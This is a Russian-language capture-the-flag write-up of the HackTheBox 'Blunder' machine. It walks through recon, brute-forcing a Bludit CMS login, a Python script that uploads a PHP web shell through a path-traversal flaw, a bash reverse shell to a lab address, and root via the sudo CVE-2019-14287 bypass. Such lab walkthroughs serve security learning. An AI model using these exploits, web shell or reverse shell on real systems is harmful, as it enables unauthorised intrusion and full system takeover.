> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md).

# Разбор Blunder на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Blunder>" %}

{% hint style="warning" %}
**Навыки:**

* Эксплуатация CMS Bludit
* Обход блокировки IP (заголовок X-Forwarded-For)
* Загрузка изображения с обходом каталогов (игры с .htaccess)
* Злоупотребление привилегией sudo (CVE-2019-14287)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/f715ef997689f877bf1a0dcd7e049b3a80b3296f" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/04d72ec4604bb7717049d603ae03412179ad3270" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.191 -oG allPorts
```

<figure><img src="/files/fb417c49e263b215959034f71fc7f34415a8c255" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена (80)

<figure><img src="/files/f8767789fb649a54f8c2dd59a66330c1eda87f16" alt="" width="563"><figcaption></figcaption></figure>

Сканирование версий портов с помощью Nmap:

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p80 10.10.10.191 -oN targeted
```

<figure><img src="/files/00496b3716f3fe9eb661ac666f4ba0c94cbc4182" alt=""><figcaption></figcaption></figure>

Чтобы преобразовать доменные имена в IP-адреса через DNS, мы вносим доменное имя, связанное с его IP-адресом, в `/etc/hosts` файл:

<figure><img src="/files/1e3ed3166dd83caf91b780fe6b2fe2ba2b839530" alt=""><figcaption></figcaption></figure>

## Порт 80 (Blunder):

<figure><img src="/files/c94e70e04e68f9f64f4cb89bb59e2c9b1b216c76" alt=""><figcaption></figcaption></figure>

**Сканирование каталогов**

Используйте **Gobuster** чтобы найти интересные каталоги:

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* Результат: обнаружение **/admin** каталог.

<figure><img src="/files/59cbce782d8337523073f0636aa1df18e3c343d7" alt=""><figcaption></figcaption></figure>

**Идентификация CMS**

При访问ении **/admin**, обнаруживается CMS Bludit (версия **3.9.2**).

<figure><img src="/files/e2f33735089d432fa76a8ef322cb729d42cfda22" alt="" width="360"><figcaption></figcaption></figure>

## **Эксплуатация CMS Bludit**

<figure><img src="/files/cfe79b0f240906a9f39aa46a8336eaba74dac45c" alt=""><figcaption></figcaption></figure>

**Поиск уязвимостей**

Используйте `searchsploit` чтобы найти известные уязвимости:

<figure><img src="/files/6aade0c31b9d1d00644adff5ec16434be7b05a10" alt=""><figcaption></figcaption></figure>

#### Обнаружена уязвимость: **CVE-2019-17240**

{% hint style="info" %}
Эксплойт нацелен на уязвимость в механизме защиты Bludit, платформы CMS (системы управления контентом), от атак перебора. Уязвимость, обозначенная как **CVE-2019-17240**, позволяет злоумышленнику обходить защиту от атак перебора, реализованную в версиях Bludit до 3.9.2 включительно.
{% endhint %}

`searchsploit -m php/webapps/48942.py`

**Найден текстовый файл**

Проведите дополнительное исследование с помощью Gobuster:

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,txt,html
```

<figure><img src="/files/37b1460fd022e3b626de88f115e75ea5b5b8c14f" alt=""><figcaption></figcaption></figure>

Содержимое: обнаруженный пользователь: **fergus**.

<figure><img src="/files/337c48c4dda253f224a744683fbfc8dbff460e57" alt="" width="375"><figcaption></figcaption></figure>

### Брутфорс Bludit

После того как пользователь **fergus** обнаружен, используйте словарь для запуска атаки перебором:

```bash
python3 exploit.py -l http://blunder.htb/admin/ -u user.txt -p password.txt
```

Совпадений для файла не найдено **rockyou.txt**.

### **Персонализированный словарь**

Используйте **Cewl** для генерации словаря на основе сайта:

```bash
cewl -u http://blunder.htb/ -w password.txt
```

<figure><img src="/files/67449535345780c7d529511e9fd57345ec814f9f" alt="" width="563"><figcaption></figcaption></figure>

Перезапустите атаку перебором с пользовательским словарем:

<figure><img src="/files/9fa9b121485f1c5f575b9dfc85e87b7f5620afe1" alt=""><figcaption></figcaption></figure>

* Найден пароль: `fergus:RolandDeschain`

<figure><img src="/files/226d62cb68cfd173d97997e84721f2e1f9d4d413" alt=""><figcaption></figcaption></figure>

## Эксплуатация загрузки изображения с обходом каталогов:

После аутентификации эта CMS уязвима для **обхода каталогов** атаки, позволяющей загружать вредоносные файлы.

{% embed url="<https://github.com/bludit/bludit/issues/1081>" %}

{% hint style="info" %}
Мы можем указать местоположение загружаемого файла, изменив значение `uuid` а затем загрузить вредоносное изображение во временную папку.
{% endhint %}

После аутентификации можно загрузить новый эксплойт через `searchsploit` в `multiple/webapps/48701.txt`, который описывает шаги по эксплуатации этой уязвимости.

<figure><img src="/files/8c3614006fb32118c49e13834468af14bb94064c" alt=""><figcaption></figcaption></figure>

**Шаги выполнения**

<figure><img src="/files/8de452a046044cf3fb8758f6b8a07d4c6b1223ec" alt=""><figcaption></figcaption></figure>

1. **Создайте вредоносный файл** (`evil.png`) с PHP-кодом:

```bash
<?php
system($_GET['cmd']);
?>
```

2. **Измените скрипт, чтобы адаптировать его к ситуации** (IP-адрес жертвы, имя пользователя, пароль и т. д.).

<figure><img src="/files/3919efd835f5f9bacd479381b61d9b0f01a6eea7" alt="" width="563"><figcaption></figcaption></figure>

3. **Запустите эксплойт:**

Эксплуатационный Python-скрипт:

```python
#!/usr/bin/env python3

import requests
import re
import argparse
import random
import string
import base64
from requests.exceptions import Timeout

url = 'http://blunder.htb/admin'  # ИЗМЕНИ МЕНЯ
username = 'fergus'  # ИЗМЕНИ МЕНЯ
password = 'RolandDeschain'  # ИЗМЕНИ МЕНЯ

# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png
# echo -e "<?php $(cat evil.png)" > evil.png
payload = 'evil.png'  # СОЗДАЙ МЕНЯ

#echo "RewriteEngine off" > .htaccess
#echo "AddType application/x-httpd-php .png" >> .htaccess
payload2 = '.htaccess'  # СОЗДАЙ МЕНЯ

def login(url,username,password):
    """ Выполнить вход с предоставленными учетными данными администратора и получить cookie после аутентификации """

    session = requests.Session()
    login_page = session.get(url + "/admin/")
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',
                           login_page.text
                 ).group(1)
    cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])
    data = {"save":"",
            "password":password,
            "tokenCSRF":csrf_token,
            "username":username}
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer": url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
               "Content-Type":"application/x-www-form-urlencoded"
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/",
                            data=data,
                            headers=headers,
                            cookies=cookies,
                            allow_redirects = False
               )

    print("cookie: " + cookie)
    return cookie

def get_csrf_token(url,cookie):
    """ Получить CSRF-токен из аутентифицированной сессии """

    session = requests.Session()
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate"}
    cookies = {"BLUDIT-KEY":cookie}
    response = session.get(url + "/admin/dashboard",
                           headers=headers,
                           cookies=cookies
               )
    csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]

    print("csrf_token: " + csrf_token)
    return csrf_token

def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):
    """ Загрузить файлы, необходимые для выполнения PHP из вредоносных файлов изображений. Payload и .htaccess """

    session = requests.Session()
    files= {"images[]": (payload,
                         open(payload, "rb"),
                         "multipart/form-data",
                         {"Content-Type": "image/png", "filename":payload}
                        )}
    if override_uuid:
        data = {"uuid": "../../tmp/temp",
                "tokenCSRF":csrf_token}
    else:
        # В уязвимом приложении эта строка выполняется первой:
        # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
        # Несмотря на наличие проверки расширения файла, это нас на самом деле не остановит
        # от загрузки файла .htaccess.
        data = {"tokenCSRF":csrf_token}
    headers = {"Origin":url,
               "Accept":"*/*",
               "X-Requested-With":"XMLHttpRequest",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/new-content",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)
    print("Uploading payload: " + payload)

if __name__ == "__main__":
    cookie = login(url, username, password)
    token = get_csrf_token(url, cookie)
    upload_evil_image(url, cookie, token, payload, True)
    upload_evil_image(url, cookie, token, payload2)
```

<figure><img src="/files/af4196a88da7a8052e725e49fb8f4d2724e5b9e3" alt="" width="563"><figcaption></figcaption></figure>

4. **Откройте вредоносный файл**: После того как изображение будет загружено, просто перейдите в `/bl-content/tmp/temp/evil.png` для выполнения команд.

<figure><img src="/files/94e49f6c8ccea0de97854e84babc158279efc728" alt="" width="552"><figcaption></figcaption></figure>

5. **Слушайте порт 443 с помощью Netcat**:

```bash
nc -nvlp 443
```

5. **Запустите reverse shell**:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261"
```

<figure><img src="/files/6e99fd810a113995e8778c1923bb1b4644b96948" alt="" width="563"><figcaption></figcaption></figure>

**Управление терминальными сеансами** :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Повышение привилегий

При изучении файлов обнаруживается файл `users.php` в `баз данных` папка, содержащая хешированные учетные данные пользователей `fergus` и `admin`:

`admin:bfcc887f62e36ea019e3295aafb8a3885966e265`

`fergus:be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7`

<figure><img src="/files/d56c95108716f75ecea827509d3111f40286e2bf" alt=""><figcaption></figcaption></figure>

При попытке взломать эти хэши с помощью CrackStation выясняется, что они не распознаются.

<figure><img src="/files/46a96985ca5f06943cc7f95d2116e1d23b8fd510" alt=""><figcaption></figcaption></figure>

Однако в корне сайта обнаруживается более свежая версия Bludit, содержащая те же конфигурационные файлы, но с другими учетными данными:

<figure><img src="/files/2dabd56733aac6efab5229a10f017b99143129bf" alt="" width="497"><figcaption></figcaption></figure>

* **hugo** : `faca404fd5c0a31cf1897b823c695c85cffeb98d`

<figure><img src="/files/385ee886003d3e7e967143e6fa233dcc525446ce" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4a2318babcfe2f06baa1baf4b9a513a46a961cc7" alt=""><figcaption></figcaption></figure>

`hugo:Password120`

<figure><img src="/files/c4b36abca278d786e2f543c22f1686103603fa2a" alt="" width="563"><figcaption></figcaption></figure>

### Флаг user.txt:

<figure><img src="/files/32b8349ac8bfcc61c0084061ccb1951a030297fc" alt="" width="563"><figcaption></figcaption></figure>

### Злоупотребление привилегией sudo (CVE-2019-14287):

При изучении привилегий sudo мы обнаружили уязвимую конфигурацию в файле sudoers. Используя `sudo -l` команду, мы выявили привилегию, которая позволяет всем пользователям, кроме `root` выполнять вход с `/bin/bash` команды:

<figure><img src="/files/2ba2601da81935f794f4bd36b3f6d275a517b5e6" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

Эта уязвимость затрагивает все версии sudo до версии 1.8.27.

В нашем случае версия sudo ниже 1.8.27, что делает эту уязвимость эксплуатируемой.

<figure><img src="/files/8fbbf8f022e8ef2d91da70ecddd9cd576b45846b" alt="" width="510"><figcaption></figcaption></figure>

Чтобы эксплуатировать эту уязвимость, просто выполните следующую команду:

```bash
sudo -u#-1 /bin/bash
```

Эта команда позволяет вам запустить оболочку от имени пользователя `-1`, что соответствует пользователю `root`.

<figure><img src="/files/496a7e3eb8649dd67c5973fbb112c0e364e5fa59" alt="" width="563"><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="/files/67a1fe31bff00b26492d2a127ac39c7a6ff25e92" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/336a11a1dabe81d0ab1d58b48dc0d6feb8cf7caf" alt="" width="532"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
